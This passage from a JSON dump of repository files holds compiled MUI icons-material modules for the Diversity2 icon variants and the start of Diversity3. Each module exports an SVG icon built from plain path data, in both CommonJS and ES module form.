    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m10.1 15.9 1.42-1.42C8.79 12.05 7 10.41 7 8.85 7 7.8 7.8 7 8.85 7c1.11 0 1.54.65 2.68 2h.93c1.12-1.31 1.53-2 2.68-2 .87 0 1.55.54 1.77 1.32.35-.04.68-.06 1-.06.36 0 .7.03 1.03.08C18.7 6.43 17.13 5 15.15 5c-.12 0-.23.03-.35.04.12-.33.2-.67.2-1.04 0-1.66-1.34-3-3-3S9 2.34 9 4c0 .37.08.71.2 1.04-.12-.01-.23-.04-.35-.04C6.69 5 5 6.69 5 8.85c0 2.42 2.04 4.31 5.1 7.05\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22.5 16.24c-.32-.18-.66-.29-1-.35.07-.1.15-.18.21-.28 1.08-1.87.46-4.18-1.41-5.26-2.09-1.21-4.76-.39-8.65.9l.52 1.94c3.47-1.14 5.79-1.88 7.14-1.1.91.53 1.2 1.61.68 2.53-.56.96-1.33 1-3.07 1.32l-.47.81c.58 1.62.97 2.33.39 3.32-.53.91-1.61 1.2-2.53.68-.06-.03-.11-.09-.17-.13-.3.67-.64 1.24-1.03 1.73.07.04.13.09.2.14 1.87 1.08 4.18.46 5.26-1.41.06-.1.09-.21.14-.32.22.27.48.51.8.69 1.43.83 3.27.34 4.1-1.1s.32-3.29-1.11-4.11\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.32 14.01c-.74 3.58-1.27 5.95-2.62 6.73-.91.53-2 .24-2.53-.68-.56-.96-.2-1.66.39-3.32l-.46-.81c-1.7-.31-2.5-.33-3.07-1.32-.53-.91-.24-2 .68-2.53.09-.05.19-.08.29-.11-.35-.56-.64-1.17-.82-1.85-.16.07-.32.14-.48.23-1.87 1.08-2.49 3.39-1.41 5.26.06.1.14.18.21.28-.34.06-.68.17-1 .35-1.43.83-1.93 2.66-1.1 4.1s2.66 1.93 4.1 1.1c.32-.18.58-.42.8-.69.05.11.08.22.14.32 1.08 1.87 3.39 2.49 5.26 1.41 2.09-1.21 2.71-3.93 3.55-7.94z\"\n}, \"2\")], 'Diversity2');"
  },
  {
    "path": "packages/mui-icons-material/lib/Diversity2.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m10.1 15.9 1.42-1.42C8.79 12.05 7 10.41 7 8.85 7 7.8 7.8 7 8.85 7c1.11 0 1.54.65 2.68 2h.93c1.12-1.31 1.53-2 2.68-2 .87 0 1.55.54 1.77 1.32.35-.04.68-.06 1-.06.36 0 .7.03 1.03.08C18.7 6.43 17.13 5 15.15 5c-.12 0-.23.03-.35.04.12-.33.2-.67.2-1.04 0-1.66-1.34-3-3-3S9 2.34 9 4c0 .37.08.71.2 1.04-.12-.01-.23-.04-.35-.04C6.69 5 5 6.69 5 8.85c0 2.42 2.04 4.31 5.1 7.05\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22.5 16.24c-.32-.18-.66-.29-1-.35.07-.1.15-.18.21-.28 1.08-1.87.46-4.18-1.41-5.26-2.09-1.21-4.76-.39-8.65.9l.52 1.94c3.47-1.14 5.79-1.88 7.14-1.1.91.53 1.2 1.61.68 2.53-.56.96-1.33 1-3.07 1.32l-.47.81c.58 1.62.97 2.33.39 3.32-.53.91-1.61 1.2-2.53.68-.06-.03-.11-.09-.17-.13-.3.67-.64 1.24-1.03 1.73.07.04.13.09.2.14 1.87 1.08 4.18.46 5.26-1.41.06-.1.09-.21.14-.32.22.27.48.51.8.69 1.43.83 3.27.34 4.1-1.1s.32-3.29-1.11-4.11\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.32 14.01c-.74 3.58-1.27 5.95-2.62 6.73-.91.53-2 .24-2.53-.68-.56-.96-.2-1.66.39-3.32l-.46-.81c-1.7-.31-2.5-.33-3.07-1.32-.53-.91-.24-2 .68-2.53.09-.05.19-.08.29-.11-.35-.56-.64-1.17-.82-1.85-.16.07-.32.14-.48.23-1.87 1.08-2.49 3.39-1.41 5.26.06.1.14.18.21.28-.34.06-.68.17-1 .35-1.43.83-1.93 2.66-1.1 4.1s2.66 1.93 4.1 1.1c.32-.18.58-.42.8-.69.05.11.08.22.14.32 1.08 1.87 3.39 2.49 5.26 1.41 2.09-1.21 2.71-3.93 3.55-7.94z\"\n}, \"2\")], 'Diversity2');"
  },
  {
    "path": "packages/mui-icons-material/lib/Diversity2Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m10.1 15.9 1.42-1.42C8.79 12.05 7 10.41 7 8.85 7 7.8 7.8 7 8.85 7c1.11 0 1.54.65 2.68 2h.93c1.12-1.31 1.53-2 2.68-2 .87 0 1.55.54 1.77 1.32.35-.04.68-.06 1-.06.36 0 .7.03 1.03.08C18.7 6.43 17.13 5 15.15 5c-.12 0-.23.03-.35.04.12-.33.2-.67.2-1.04 0-1.66-1.34-3-3-3S9 2.34 9 4c0 .37.08.71.2 1.04-.12-.01-.23-.04-.35-.04C6.69 5 5 6.69 5 8.85c0 2.42 2.04 4.31 5.1 7.05\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22.5 16.24c-.32-.18-.66-.29-1-.35.07-.1.15-.18.21-.28 1.08-1.87.46-4.18-1.41-5.26-2.09-1.21-4.76-.39-8.65.9l.52 1.94c3.47-1.14 5.79-1.88 7.14-1.1.91.53 1.2 1.61.68 2.53-.56.96-1.33 1-3.07 1.32l-.47.81c.58 1.62.97 2.33.39 3.32-.53.91-1.61 1.2-2.53.68-.06-.03-.11-.09-.17-.13-.3.67-.64 1.24-1.03 1.73.07.04.13.09.2.14 1.87 1.08 4.18.46 5.26-1.41.06-.1.09-.21.14-.32.22.27.48.51.8.69 1.43.83 3.27.34 4.1-1.1s.32-3.29-1.11-4.11\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.32 14.01c-.74 3.58-1.27 5.95-2.62 6.73-.91.53-2 .24-2.53-.68-.56-.96-.2-1.66.39-3.32l-.46-.81c-1.7-.31-2.5-.33-3.07-1.32-.53-.91-.24-2 .68-2.53.09-.05.19-.08.29-.11-.35-.56-.64-1.17-.82-1.85-.16.07-.32.14-.48.23-1.87 1.08-2.49 3.39-1.41 5.26.06.1.14.18.21.28-.34.06-.68.17-1 .35-1.43.83-1.93 2.66-1.1 4.1s2.66 1.93 4.1 1.1c.32-.18.58-.42.8-.69.05.11.08.22.14.32 1.08 1.87 3.39 2.49 5.26 1.41 2.09-1.21 2.71-3.93 3.55-7.94z\"\n}, \"2\")], 'Diversity2Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Diversity2Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m10.1 15.9 1.42-1.42C8.79 12.05 7 10.41 7 8.85 7 7.8 7.8 7 8.85 7c1.11 0 1.54.65 2.68 2h.93c1.12-1.31 1.53-2 2.68-2 .87 0 1.55.54 1.77 1.32.35-.04.68-.06 1-.06.36 0 .7.03 1.03.08C18.7 6.43 17.13 5 15.15 5c-.12 0-.23.03-.35.04.12-.33.2-.67.2-1.04 0-1.66-1.34-3-3-3S9 2.34 9 4c0 .37.08.71.2 1.04-.12-.01-.23-.04-.35-.04C6.69 5 5 6.69 5 8.85c0 2.42 2.04 4.31 5.1 7.05\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22.5 16.24c-.32-.18-.66-.29-1-.35.07-.1.15-.18.21-.28 1.08-1.87.46-4.18-1.41-5.26-2.09-1.21-4.76-.39-8.65.9l.52 1.94c3.47-1.14 5.79-1.88 7.14-1.1.91.53 1.2 1.61.68 2.53-.56.96-1.33 1-3.07 1.32l-.47.81c.58 1.62.97 2.33.39 3.32-.53.91-1.61 1.2-2.53.68-.06-.03-.11-.09-.17-.13-.3.67-.64 1.24-1.03 1.73.07.04.13.09.2.14 1.87 1.08 4.18.46 5.26-1.41.06-.1.09-.21.14-.32.22.27.48.51.8.69 1.43.83 3.27.34 4.1-1.1s.32-3.29-1.11-4.11\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.32 14.01c-.74 3.58-1.27 5.95-2.62 6.73-.91.53-2 .24-2.53-.68-.56-.96-.2-1.66.39-3.32l-.46-.81c-1.7-.31-2.5-.33-3.07-1.32-.53-.91-.24-2 .68-2.53.09-.05.19-.08.29-.11-.35-.56-.64-1.17-.82-1.85-.16.07-.32.14-.48.23-1.87 1.08-2.49 3.39-1.41 5.26.06.1.14.18.21.28-.34.06-.68.17-1 .35-1.43.83-1.93 2.66-1.1 4.1s2.66 1.93 4.1 1.1c.32-.18.58-.42.8-.69.05.11.08.22.14.32 1.08 1.87 3.39 2.49 5.26 1.41 2.09-1.21 2.71-3.93 3.55-7.94z\"\n}, \"2\")], 'Diversity2Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Diversity2Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.77 15.23c.4-.4.39-1.07-.04-1.45-2.56-2.31-4.08-3.88-3.66-5.45C7.29 7.52 8.01 7 8.85 7c1.11 0 1.54.65 2.68 2h.93c1.12-1.31 1.53-2 2.68-2 .87 0 1.55.54 1.77 1.32.35-.04.68-.06 1-.06.36 0 .7.03 1.03.08C18.7 6.43 17.13 5 15.15 5c-.12 0-.23.03-.35.04.26-.71.31-1.53-.18-2.43-.43-.81-1.22-1.43-2.12-1.57C10.62.74 9 2.18 9 4c0 .37.08.71.2 1.04-.12-.01-.23-.04-.35-.04C6.69 5 5 6.69 5 8.85c0 2.23 1.73 4.01 4.4 6.41.39.36 1 .34 1.37-.03\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23.52 17.25c-.54-.87-1.27-1.23-2.01-1.36.07-.1.15-.18.21-.28 1.08-1.87.46-4.18-1.41-5.26-1.93-1.11-4.34-.5-7.75.6-.51.16-.79.7-.66 1.21.15.55.73.87 1.28.69 3.28-1.06 5.4-1.6 6.55-.45.59.59.68 1.48.26 2.21-.56.96-1.33 1-3.07 1.32l-.47.81c.58 1.62.97 2.33.39 3.32-.53.91-1.61 1.2-2.53.68-.06-.03-.11-.09-.17-.13-.3.67-.64 1.24-1.03 1.73v.01c1.9 1.24 4.34.64 5.46-1.29.06-.1.09-.21.14-.32.22.27.48.51.8.69 1.58.91 3.64.23 4.31-1.55.32-.86.18-1.85-.3-2.63\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.1 15.04c-.72 3.38-1.32 5.48-2.89 5.9-.81.22-1.62-.15-2.04-.88-.56-.96-.2-1.66.39-3.32l-.46-.81c-1.7-.31-2.5-.33-3.07-1.32-.53-.91-.24-2 .68-2.53.09-.05.19-.08.29-.11-.27-.42-.5-.87-.67-1.37-.24-.11-.36-.16-.6-.26-1.88 1.07-2.51 3.4-1.43 5.27.06.1.14.18.21.28-.75.13-1.48.49-2.01 1.36-.48.78-.62 1.77-.3 2.63.68 1.78 2.74 2.46 4.31 1.55.32-.18.58-.42.8-.69.05.11.08.22.14.32 1.08 1.87 3.39 2.49 5.26 1.41 1.93-1.11 2.61-3.51 3.36-7.01.11-.52-.21-1.04-.72-1.17-.57-.15-1.13.19-1.25.75\"\n}, \"2\")], 'Diversity2Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Diversity2Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.77 15.23c.4-.4.39-1.07-.04-1.45-2.56-2.31-4.08-3.88-3.66-5.45C7.29 7.52 8.01 7 8.85 7c1.11 0 1.54.65 2.68 2h.93c1.12-1.31 1.53-2 2.68-2 .87 0 1.55.54 1.77 1.32.35-.04.68-.06 1-.06.36 0 .7.03 1.03.08C18.7 6.43 17.13 5 15.15 5c-.12 0-.23.03-.35.04.26-.71.31-1.53-.18-2.43-.43-.81-1.22-1.43-2.12-1.57C10.62.74 9 2.18 9 4c0 .37.08.71.2 1.04-.12-.01-.23-.04-.35-.04C6.69 5 5 6.69 5 8.85c0 2.23 1.73 4.01 4.4 6.41.39.36 1 .34 1.37-.03\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M23.52 17.25c-.54-.87-1.27-1.23-2.01-1.36.07-.1.15-.18.21-.28 1.08-1.87.46-4.18-1.41-5.26-1.93-1.11-4.34-.5-7.75.6-.51.16-.79.7-.66 1.21.15.55.73.87 1.28.69 3.28-1.06 5.4-1.6 6.55-.45.59.59.68 1.48.26 2.21-.56.96-1.33 1-3.07 1.32l-.47.81c.58 1.62.97 2.33.39 3.32-.53.91-1.61 1.2-2.53.68-.06-.03-.11-.09-.17-.13-.3.67-.64 1.24-1.03 1.73v.01c1.9 1.24 4.34.64 5.46-1.29.06-.1.09-.21.14-.32.22.27.48.51.8.69 1.58.91 3.64.23 4.31-1.55.32-.86.18-1.85-.3-2.63\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.1 15.04c-.72 3.38-1.32 5.48-2.89 5.9-.81.22-1.62-.15-2.04-.88-.56-.96-.2-1.66.39-3.32l-.46-.81c-1.7-.31-2.5-.33-3.07-1.32-.53-.91-.24-2 .68-2.53.09-.05.19-.08.29-.11-.27-.42-.5-.87-.67-1.37-.24-.11-.36-.16-.6-.26-1.88 1.07-2.51 3.4-1.43 5.27.06.1.14.18.21.28-.75.13-1.48.49-2.01 1.36-.48.78-.62 1.77-.3 2.63.68 1.78 2.74 2.46 4.31 1.55.32-.18.58-.42.8-.69.05.11.08.22.14.32 1.08 1.87 3.39 2.49 5.26 1.41 1.93-1.11 2.61-3.51 3.36-7.01.11-.52-.21-1.04-.72-1.17-.57-.15-1.13.19-1.25.75\"\n}, \"2\")], 'Diversity2Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Diversity2Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m10.1 15.9 1.42-1.42C8.79 12.05 7 10.41 7 8.85 7 7.8 7.8 7 8.85 7c1.11 0 1.54.65 2.68 2h.93c1.12-1.31 1.53-2 2.68-2 .87 0 1.55.54 1.77 1.32.35-.04.68-.06 1-.06.36 0 .7.03 1.03.08C18.7 6.43 17.13 5 15.15 5c-.12 0-.23.03-.35.04.12-.33.2-.67.2-1.04 0-1.66-1.34-3-3-3S9 2.34 9 4c0 .37.08.71.2 1.04-.12-.01-.23-.04-.35-.04C6.69 5 5 6.69 5 8.85c0 2.42 2.04 4.31 5.1 7.05\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22.5 16.24c-.32-.18-.66-.29-1-.35.07-.1.15-.18.21-.28 1.08-1.87.46-4.18-1.41-5.26-2.09-1.21-4.76-.39-8.65.9l.52 1.94c3.47-1.14 5.79-1.88 7.14-1.1.91.53 1.2 1.61.68 2.53-.56.96-1.33 1-3.07 1.32l-.47.81c.58 1.62.97 2.33.39 3.32-.53.91-1.61 1.2-2.53.68-.06-.03-.11-.09-.17-.13-.3.67-.64 1.24-1.03 1.73.07.04.13.09.2.14 1.87 1.08 4.18.46 5.26-1.41.06-.1.09-.21.14-.32.22.27.48.51.8.69 1.43.83 3.27.34 4.1-1.1s.32-3.29-1.11-4.11\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.32 14.01c-.74 3.58-1.27 5.95-2.62 6.73-.91.53-2 .24-2.53-.68-.56-.96-.2-1.66.39-3.32l-.46-.81c-1.7-.31-2.5-.33-3.07-1.32-.53-.91-.24-2 .68-2.53.09-.05.19-.08.29-.11-.35-.56-.64-1.17-.82-1.85-.16.07-.32.14-.48.23-1.87 1.08-2.49 3.39-1.41 5.26.06.1.14.18.21.28-.34.06-.68.17-1 .35-1.43.83-1.93 2.66-1.1 4.1s2.66 1.93 4.1 1.1c.32-.18.58-.42.8-.69.05.11.08.22.14.32 1.08 1.87 3.39 2.49 5.26 1.41 2.09-1.21 2.71-3.93 3.55-7.94z\"\n}, \"2\")], 'Diversity2Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Diversity2Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m10.1 15.9 1.42-1.42C8.79 12.05 7 10.41 7 8.85 7 7.8 7.8 7 8.85 7c1.11 0 1.54.65 2.68 2h.93c1.12-1.31 1.53-2 2.68-2 .87 0 1.55.54 1.77 1.32.35-.04.68-.06 1-.06.36 0 .7.03 1.03.08C18.7 6.43 17.13 5 15.15 5c-.12 0-.23.03-.35.04.12-.33.2-.67.2-1.04 0-1.66-1.34-3-3-3S9 2.34 9 4c0 .37.08.71.2 1.04-.12-.01-.23-.04-.35-.04C6.69 5 5 6.69 5 8.85c0 2.42 2.04 4.31 5.1 7.05\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22.5 16.24c-.32-.18-.66-.29-1-.35.07-.1.15-.18.21-.28 1.08-1.87.46-4.18-1.41-5.26-2.09-1.21-4.76-.39-8.65.9l.52 1.94c3.47-1.14 5.79-1.88 7.14-1.1.91.53 1.2 1.61.68 2.53-.56.96-1.33 1-3.07 1.32l-.47.81c.58 1.62.97 2.33.39 3.32-.53.91-1.61 1.2-2.53.68-.06-.03-.11-.09-.17-.13-.3.67-.64 1.24-1.03 1.73.07.04.13.09.2.14 1.87 1.08 4.18.46 5.26-1.41.06-.1.09-.21.14-.32.22.27.48.51.8.69 1.43.83 3.27.34 4.1-1.1s.32-3.29-1.11-4.11\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.32 14.01c-.74 3.58-1.27 5.95-2.62 6.73-.91.53-2 .24-2.53-.68-.56-.96-.2-1.66.39-3.32l-.46-.81c-1.7-.31-2.5-.33-3.07-1.32-.53-.91-.24-2 .68-2.53.09-.05.19-.08.29-.11-.35-.56-.64-1.17-.82-1.85-.16.07-.32.14-.48.23-1.87 1.08-2.49 3.39-1.41 5.26.06.1.14.18.21.28-.34.06-.68.17-1 .35-1.43.83-1.93 2.66-1.1 4.1s2.66 1.93 4.1 1.1c.32-.18.58-.42.8-.69.05.11.08.22.14.32 1.08 1.87 3.39 2.49 5.26 1.41 2.09-1.21 2.71-3.93 3.55-7.94z\"\n}, \"2\")], 'Diversity2Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Diversity2TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.5 17.97c-.48.28-.64.89-.37 1.37s.89.64 1.37.37c.48-.28.64-.89.37-1.37s-.89-.65-1.37-.37m19 0c-.48-.28-1.09-.11-1.37.37s-.11 1.09.37 1.37 1.09.11 1.37-.37.11-1.1-.37-1.37\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"1\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m10.1 15.9 1.42-1.42C8.79 12.05 7 10.41 7 8.85 7 7.8 7.8 7 8.85 7c1.11 0 1.54.65 2.68 2h.93c1.12-1.31 1.53-2 2.68-2 .87 0 1.55.54 1.77 1.32.35-.04.68-.06 1-.06.36 0 .7.03 1.03.08C18.7 6.43 17.13 5 15.15 5c-.12 0-.23.03-.35.04.12-.33.2-.67.2-1.04 0-1.66-1.34-3-3-3S9 2.34 9 4c0 .37.08.71.2 1.04-.12-.01-.23-.04-.35-.04C6.69 5 5 6.69 5 8.85c0 2.42 2.04 4.31 5.1 7.05M12 3c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22.5 16.24c-.32-.18-.66-.29-1-.35.07-.1.15-.18.21-.28 1.08-1.87.46-4.18-1.41-5.26-2.09-1.21-4.76-.39-8.65.9l.52 1.94c3.47-1.14 5.79-1.88 7.14-1.1.91.53 1.2 1.61.68 2.53-.56.96-1.33 1-3.07 1.32l-.47.81c.58 1.62.97 2.33.39 3.32-.53.91-1.61 1.2-2.53.68-.06-.03-.11-.09-.17-.13-.3.67-.64 1.24-1.03 1.73.07.04.13.09.2.14 1.87 1.08 4.18.46 5.26-1.41.06-.1.09-.21.14-.32.22.27.48.51.8.69 1.43.83 3.27.34 4.1-1.1s.32-3.29-1.11-4.11m-.63 3.09c-.28.48-.89.64-1.37.37-.48-.28-.64-.89-.37-1.37s.89-.64 1.37-.37c.48.28.64.9.37 1.37\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.32 14.01c-.74 3.58-1.27 5.95-2.62 6.73-.91.53-2 .24-2.53-.68-.56-.96-.2-1.66.39-3.32l-.46-.81c-1.7-.31-2.5-.33-3.07-1.32-.53-.91-.24-2 .68-2.53.09-.05.19-.08.29-.11-.35-.56-.64-1.17-.82-1.85-.16.07-.32.14-.48.23-1.87 1.08-2.49 3.39-1.41 5.26.06.1.14.18.21.28-.34.06-.68.17-1 .35-1.43.83-1.93 2.66-1.1 4.1s2.66 1.93 4.1 1.1c.32-.18.58-.42.8-.69.05.11.08.22.14.32 1.08 1.87 3.39 2.49 5.26 1.41 2.09-1.21 2.71-3.93 3.55-7.94zM3.5 19.7c-.48.28-1.09.11-1.37-.37s-.11-1.09.37-1.37 1.09-.11 1.37.37.11 1.09-.37 1.37\"\n}, \"4\")], 'Diversity2TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Diversity2TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.5 17.97c-.48.28-.64.89-.37 1.37s.89.64 1.37.37c.48-.28.64-.89.37-1.37s-.89-.65-1.37-.37m19 0c-.48-.28-1.09-.11-1.37.37s-.11 1.09.37 1.37 1.09.11 1.37-.37.11-1.1-.37-1.37\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"1\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m10.1 15.9 1.42-1.42C8.79 12.05 7 10.41 7 8.85 7 7.8 7.8 7 8.85 7c1.11 0 1.54.65 2.68 2h.93c1.12-1.31 1.53-2 2.68-2 .87 0 1.55.54 1.77 1.32.35-.04.68-.06 1-.06.36 0 .7.03 1.03.08C18.7 6.43 17.13 5 15.15 5c-.12 0-.23.03-.35.04.12-.33.2-.67.2-1.04 0-1.66-1.34-3-3-3S9 2.34 9 4c0 .37.08.71.2 1.04-.12-.01-.23-.04-.35-.04C6.69 5 5 6.69 5 8.85c0 2.42 2.04 4.31 5.1 7.05M12 3c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22.5 16.24c-.32-.18-.66-.29-1-.35.07-.1.15-.18.21-.28 1.08-1.87.46-4.18-1.41-5.26-2.09-1.21-4.76-.39-8.65.9l.52 1.94c3.47-1.14 5.79-1.88 7.14-1.1.91.53 1.2 1.61.68 2.53-.56.96-1.33 1-3.07 1.32l-.47.81c.58 1.62.97 2.33.39 3.32-.53.91-1.61 1.2-2.53.68-.06-.03-.11-.09-.17-.13-.3.67-.64 1.24-1.03 1.73.07.04.13.09.2.14 1.87 1.08 4.18.46 5.26-1.41.06-.1.09-.21.14-.32.22.27.48.51.8.69 1.43.83 3.27.34 4.1-1.1s.32-3.29-1.11-4.11m-.63 3.09c-.28.48-.89.64-1.37.37-.48-.28-.64-.89-.37-1.37s.89-.64 1.37-.37c.48.28.64.9.37 1.37\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.32 14.01c-.74 3.58-1.27 5.95-2.62 6.73-.91.53-2 .24-2.53-.68-.56-.96-.2-1.66.39-3.32l-.46-.81c-1.7-.31-2.5-.33-3.07-1.32-.53-.91-.24-2 .68-2.53.09-.05.19-.08.29-.11-.35-.56-.64-1.17-.82-1.85-.16.07-.32.14-.48.23-1.87 1.08-2.49 3.39-1.41 5.26.06.1.14.18.21.28-.34.06-.68.17-1 .35-1.43.83-1.93 2.66-1.1 4.1s2.66 1.93 4.1 1.1c.32-.18.58-.42.8-.69.05.11.08.22.14.32 1.08 1.87 3.39 2.49 5.26 1.41 2.09-1.21 2.71-3.93 3.55-7.94zM3.5 19.7c-.48.28-1.09.11-1.37-.37s-.11-1.09.37-1.37 1.09-.11 1.37.37.11 1.09-.37 1.37\"\n}, \"4\")], 'Diversity2TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Diversity3.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.32 13.01c.96.02 1.85.5 2.45 1.34C9.5 15.38 10.71 16 12 16s2.5-.62 3.23-1.66c.6-.84 1.49-1.32 2.45-1.34-.72-1.22-3.6-2-5.68-2-2.07 0-4.96.78-5.68 2.01M4 13c1.66 0 3-1.34 3-3S5.66 7 4 7s-3 1.34-3 3 1.34 3 3 3m16 0c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3m-8-3c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 14h-3.27c-.77 0-1.35.45-1.68.92-.04.06-1.36 2.08-4.05 2.08-1.43 0-3.03-.64-4.05-2.08-.39-.55-1-.92-1.68-.92H3c-1.1 0-2 .9-2 2v4h7v-2.26c1.15.8 2.54 1.26 4 1.26s2.85-.46 4-1.26V20h7v-4c0-1.1-.9-2-2-2\"\n}, \"1\")], 'Diversity3');"
  },
  {
    "path": "packages/mui-icons-material/lib/Diversity3.mjs",
